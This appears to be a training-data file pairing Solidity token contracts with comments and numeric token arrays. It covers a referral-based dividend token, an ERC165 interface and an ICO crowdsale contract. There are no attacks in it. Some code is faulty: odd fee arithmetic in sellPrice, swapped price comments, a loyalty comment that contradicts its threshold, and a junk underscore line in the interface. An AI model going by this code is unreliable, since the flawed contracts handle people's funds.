emit Transfer(_customerAddress, _toAddress, _amountOfTokens,now);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(_amountOfTokens, "ERC20: transfer amount exceeds allowance"));
return true;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
override
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
override
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 tax = (_ethereum.mul(5)).div(100);
uint256 _dividends = SafeMath.div(_ethereum, tax);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethToSpend)
public
view
returns(uint256)
{
uint256 _ethereumToSpend = (_ethToSpend.mul(64)).div(100);
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function getReferrer() public view returns(address){
return users[msg.sender].referrerAdd;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 tax = (_ethereum.mul(5)).div(100);
uint256 _dividends = SafeMath.div(_ethereum, tax);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function loyaltyOf() public view returns(uint256){
address _customerAddress = msg.sender;
// user should hold 2500 tokens for qualify for loyalty bonus;
if(tokenBalanceLedger_[_customerAddress] >= 2000*10**uint256(decimals)){
// return loyalty bonus users
return ((uint256) ((int256)((profitperLoyalty) * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude)*14/5;
}
else{
return 0;
}
}
function userReferrer(address _address) public view returns(address){
return userList[users[_address].referrerId];
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _eth, address _referredBy)
internal
returns(uint256)
{
uint256 _incomingEthereum = (_eth.mul(64)).div(100);
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
tokenPool += _taxedEthereum;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a karmalink?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress
){
// wealth redistribution
distributeToSponsor(_referredBy,_eth);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
profitperLoyalty += ((_dividends) * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
//update dividends tracker
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy,now,tokenBalanceLedger_[_customerAddress]);
return _amountOfTokens;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* Calculate Token price based on an amount of incoming ethereum
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function register(address _sender, address _referredBy) internal {
uint256 _id = users[_referredBy].id;
basicData memory UserStruct;
currentId++;
//add users data
UserStruct = basicData({
isExist: true,
id: currentId,
referrerId: _id,
referrerAdd: _referredBy
});
userList[currentId] = _sender;
users[msg.sender] = UserStruct;
}
function distributeToSponsor(address _address,uint256 _eth) internal {
uint256 _sp1 = (_eth.mul(10)).div(100);
uint256 _sp2 = (_eth.mul(7)).div(100);
uint256 _sp3 = (_eth.mul(3)).div(100);
address add1 = _address;
address add2 = users[_address].referrerAdd;
address add3 = users[add2].referrerAdd;
//add amount of ref bonus to referrer
referralBalance_[add1] += (_sp1);
sponsorsPaid += _sp1;
//fire event on distributionToSponsor
emit amountDistributedToSponsor(msg.sender, add1,_sp1);
//add amount of ref bonus to referrer
referralBalance_[add2] += (_sp2);
sponsorsPaid += _sp2;
//fire event on distributionToSponsor
emit amountDistributedToSponsor(msg.sender, add2, _sp2);
//add amount of ref bonus to referrer
referralBalance_[add3] += (_sp3);
sponsorsPaid += _sp3;
//fire event on distributionToSponsor
emit amountDistributedToSponsor(msg.sender, add3, _sp3);
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
} | -- APPLICATION ENTRY POINTS --/ "This is the distribution contract for holders of the GSG-Official (GSGO) Token." | constructor() public{
name = "The-Eighty-Twenty";
symbol = "GS20";
decimals = 18;
dividendFee_ = 10;
tokenPriceInitial_ = 0.0000001 ether;
tokenPriceIncremental_ = 0.00000001 ether;
magnitude = 2**64;
GSGO_Official_LoyaltyPlan = address(0x727395b95C90DEab2F220Ce42615d9dD0F44e187);
dev1 = address(0x88F2E544359525833f606FB6c63826E143132E7b);
dev2 = address(0x7cF196415CDD1eF08ca2358a8282D33Ba089B9f3);
currentId = 0;
day = now;
}
| 11,762,270 | [
1,
413,
14148,
25516,
13803,
3217,
55,
1493,
19,
315,
2503,
353,
326,
7006,
6835,
364,
366,
4665,
434,
326,
611,
30820,
17,
7210,
22354,
261,
16113,
16387,
13,
3155,
1199,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
1071,
95,
203,
3639,
508,
273,
315,
1986,
17,
41,
750,
93,
17,
23539,
319,
93,
14432,
203,
3639,
3273,
273,
315,
16113,
3462,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
31945,
14667,
67,
273,
1728,
31,
203,
3639,
1147,
5147,
4435,
67,
273,
374,
18,
9449,
21,
225,
2437,
31,
203,
3639,
1147,
5147,
10798,
287,
67,
273,
374,
18,
9449,
1611,
225,
2437,
31,
203,
3639,
13463,
273,
576,
636,
1105,
31,
203,
3639,
611,
55,
16387,
67,
7210,
22354,
67,
1504,
93,
15006,
5365,
273,
1758,
12,
20,
92,
27,
5324,
5520,
25,
70,
8778,
39,
9349,
1639,
378,
22,
42,
27246,
39,
73,
24,
5558,
3600,
72,
29,
72,
40,
20,
42,
6334,
73,
2643,
27,
1769,
203,
3639,
4461,
21,
273,
1758,
12,
20,
92,
5482,
42,
22,
41,
25,
6334,
4763,
8778,
2947,
28,
3707,
74,
4848,
26,
22201,
26,
71,
4449,
28,
5558,
41,
3461,
6938,
1578,
41,
27,
70,
1769,
203,
3639,
4461,
22,
273,
1758,
12,
20,
92,
27,
71,
42,
3657,
1105,
3600,
39,
5698,
21,
73,
42,
6840,
5353,
4366,
8204,
69,
28,
6030,
22,
40,
3707,
38,
69,
20,
6675,
38,
29,
74,
23,
1769,
203,
3639,
783,
548,
273,
374,
31,
203,
3639,
2548,
273,
2037,
31,
203,
377,
203,
565,
289,
203,
377,
203,
1377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x45BAb379698F857c6332913811d4f0683D86496D/sources/contracts/TennisBits.sol | * @dev Interface of the ERC165 standard, as defined in the Implementers can declare support of contract interfaces, which can then be queried by others ({ERC165Checker}). For an implementation, see {ERC165}./ | interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
___________ _______ _____ ___ _____ ___ __ ________
}
| 9,774,621 | [
1,
1358,
434,
326,
4232,
39,
28275,
4529,
16,
487,
2553,
316,
326,
10886,
414,
848,
14196,
2865,
434,
6835,
7349,
16,
1492,
848,
1508,
506,
23264,
635,
10654,
10797,
654,
39,
28275,
8847,
97,
2934,
2457,
392,
4471,
16,
2621,
288,
654,
39,
28275,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
654,
39,
28275,
288,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
3903,
1476,
1135,
261,
6430,
1769,
203,
203,
389,
12214,
972,
225,
389,
7198,
972,
225,
389,
7198,
225,
19608,
282,
389,
7198,
225,
19608,
565,
1001,
1377,
389,
7198,
31268,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0xe0f3544280f784e82c7bacb1a7b50d4aaea55ad9
//Contract name: GameRewardToken
//Balance: 0 Ether
//Verification Date: 6/21/2018
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.21;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function toWei(uint256 a) internal pure returns (uint256){
assert(a>0);
return a * 10 ** 18;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is SafeMath{
// Token information
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** uint256(decimals);
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(safeAdd(balanceOf[_to], _value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = safeAdd(balanceOf[_from],balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = safeSub(balanceOf[_from], _value);
// Add the same to the recipient
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(safeAdd(balanceOf[_from],balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender],_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = safeSub(totalSupply,_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = safeSub(balanceOf[_from], _value); // Subtract from the targeted balance
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); // Subtract from the sender's allowance
totalSupply = safeSub(totalSupply,_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* GAMEREWARD TOKEN */
/******************************************/
contract GameRewardToken is owned, TokenERC20 {
// State machine
enum State{PrivateFunding, PreFunding, Funding, Success, Failure}
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public bounties;
mapping (address => uint256) public bonus;
mapping (address => address) public referrals;
mapping (address => uint256) public investors;
mapping (address => uint256) public funders;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address indexed target, bool frozen);
event FundTransfer(address indexed to, uint256 eth , uint256 value, uint block);
event Fee(address indexed from, address indexed collector, uint256 fee);
event FreeDistribution(address indexed to, uint256 value, uint block);
event Refund(address indexed to, uint256 value, uint block);
event BonusTransfer(address indexed to, uint256 value, uint block);
event BountyTransfer(address indexed to, uint256 value, uint block);
event SetReferral(address indexed target, address indexed broker);
event ChangeCampaign(uint256 fundingStartBlock, uint256 fundingEndBlock);
event AddBounty(address indexed bountyHunter, uint256 value);
event ReferralBonus(address indexed investor, address indexed broker, uint256 value);
// Crowdsale information
bool public finalizedCrowdfunding = false;
uint256 public fundingStartBlock = 0; // crowdsale start block
uint256 public fundingEndBlock = 0; // crowdsale end block
uint256 public constant lockedTokens = 250000000*10**18; //25% tokens to Vault and locked for 6 months - 250 millions
uint256 public bonusAndBountyTokens = 50000000*10**18; //5% tokens for referral bonus and bounty - 50 millions
uint256 public constant devsTokens = 100000000*10**18; //10% tokens for team - 100 millions
uint256 public constant hundredPercent = 100;
uint256 public constant tokensPerEther = 20000; //GRD:ETH exchange rate - 20.000 GRD per ETH
uint256 public constant tokenCreationMax = 600000000*10**18; //ICO hard target - 600 millions
uint256 public constant tokenCreationMin = 60000000*10**18; //ICO soft target - 60 millions
uint256 public constant tokenPrivateMax = 100000000*10**18; //Private-sale must stop when 100 millions tokens sold
uint256 public constant minContributionAmount = 0.1*10**18; //Investor must buy atleast 0.1ETH in open-sale
uint256 public constant maxContributionAmount = 100*10**18; //Max 100 ETH in open-sale and pre-sale
uint256 public constant minPrivateContribution = 5*10**18; //Investor must buy atleast 5ETH in private-sale
uint256 public constant minPreContribution = 1*10**18; //Investor must buy atleast 1ETH in pre-sale
uint256 public constant minAmountToGetBonus = 1*10**18; //Investor must buy atleast 1ETH to receive referral bonus
uint256 public constant referralBonus = 5; //5% for referral bonus
uint256 public constant privateBonus = 40; //40% bonus in private-sale
uint256 public constant preBonus = 20; //20% bonus in pre-sale;
uint256 public tokensSold;
uint256 public collectedETH;
uint256 public constant numBlocksLocked = 1110857; //180 days locked vault tokens
bool public releasedBountyTokens = false; //bounty release status
uint256 public unlockedAtBlockNumber;
address public lockedTokenHolder;
address public releaseTokenHolder;
address public devsHolder;
address public multiSigWalletAddress;
constructor(address _lockedTokenHolder,
address _releaseTokenHolder,
address _devsAddress,
address _multiSigWalletAddress
) TokenERC20("GameReward", // Name
"GRD", // Symbol
18, // Decimals
1000000000 // Total Supply 1 Billion
) public {
require (_lockedTokenHolder != 0x0);
require (_releaseTokenHolder != 0x0);
require (_devsAddress != 0x0);
require (_multiSigWalletAddress != 0x0);
lockedTokenHolder = _lockedTokenHolder;
releaseTokenHolder = _releaseTokenHolder;
devsHolder = _devsAddress;
multiSigWalletAddress = _multiSigWalletAddress;
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (getState() == State.Success);
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Prevent transfer to 0x0 address. Use burn() instead
require (safeAdd(balanceOf[_to],_value) > balanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
require (_from != lockedTokenHolder);
balanceOf[_from] = safeSub(balanceOf[_from],_value); // Subtract from the sender
balanceOf[_to] = safeAdd(balanceOf[_to],_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
///@notice change token's name and symbol
function updateNameAndSymbol(string _newname, string _newsymbol) onlyOwner public{
name = _newname;
symbol = _newsymbol;
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param _target Address to be frozen
/// @param _freeze either to freeze it or not
function freezeAccount(address _target, bool _freeze) onlyOwner public {
frozenAccount[_target] = _freeze;
emit FrozenFunds(_target, _freeze);
}
function setMultiSigWallet(address newWallet) external {
require (msg.sender == multiSigWalletAddress);
multiSigWalletAddress = newWallet;
}
//Crowdsale Functions
/// @notice get early bonus for Investor
function _getEarlyBonus() internal view returns(uint){
if(getState()==State.PrivateFunding) return privateBonus;
else if(getState()==State.PreFunding) return preBonus;
else return 0;
}
/// @notice set start and end block for funding
/// @param _fundingStartBlock start funding
/// @param _fundingEndBlock end funding
function setCampaign(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner public{
if(block.number < _fundingStartBlock){
fundingStartBlock = _fundingStartBlock;
}
if(_fundingEndBlock > fundingStartBlock && _fundingEndBlock > block.number){
fundingEndBlock = _fundingEndBlock;
}
emit ChangeCampaign(_fundingStartBlock,_fundingEndBlock);
}
function releaseBountyTokens() onlyOwner public{
require(!releasedBountyTokens);
require(getState()==State.Success);
releasedBountyTokens = true;
}
/// @notice set Broker for Investor
/// @param _target address of Investor
/// @param _broker address of Broker
function setReferral(address _target, address _broker, uint256 _amount) onlyOwner public {
require (_target != 0x0);
require (_broker != 0x0);
referrals[_target] = _broker;
emit SetReferral(_target, _broker);
if(_amount>0x0){
uint256 brokerBonus = safeDiv(safeMul(_amount,referralBonus),hundredPercent);
bonus[_broker] = safeAdd(bonus[_broker],brokerBonus);
emit ReferralBonus(_target,_broker,brokerBonus);
}
}
/// @notice set token for bounty hunter to release when ICO success
function addBounty(address _hunter, uint256 _amount) onlyOwner public{
require(_hunter!=0x0);
require(toWei(_amount)<=safeSub(bonusAndBountyTokens,toWei(_amount)));
bounties[_hunter] = safeAdd(bounties[_hunter],toWei(_amount));
bonusAndBountyTokens = safeSub(bonusAndBountyTokens,toWei(_amount));
emit AddBounty(_hunter, toWei(_amount));
}
/// @notice Create tokens when funding is active. This fallback function require 90.000 gas or more
/// @dev Required state: Funding
/// @dev State transition: -> Funding Success (only if cap reached)
function() payable public{
// Abort if not in Funding Active state.
// Do not allow creating 0 or more than the cap tokens.
require (getState() != State.Success);
require (getState() != State.Failure);
require (msg.value != 0);
if(getState()==State.PrivateFunding){
require(msg.value>=minPrivateContribution);
}else if(getState()==State.PreFunding){
require(msg.value>=minPreContribution && msg.value < maxContributionAmount);
}else{
require(msg.value>=minContributionAmount && msg.value < maxContributionAmount);
}
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
uint256 brokerBonus = 0;
uint256 earlyBonus = safeDiv(safeMul(createdTokens,_getEarlyBonus()),hundredPercent);
createdTokens = safeAdd(createdTokens,earlyBonus);
// don't go over the limit!
if(getState()==State.PrivateFunding){
require(safeAdd(tokensSold,createdTokens) <= tokenPrivateMax);
}else{
require (safeAdd(tokensSold,createdTokens) <= tokenCreationMax);
}
// we are creating tokens, so increase the tokenSold
tokensSold = safeAdd(tokensSold, createdTokens);
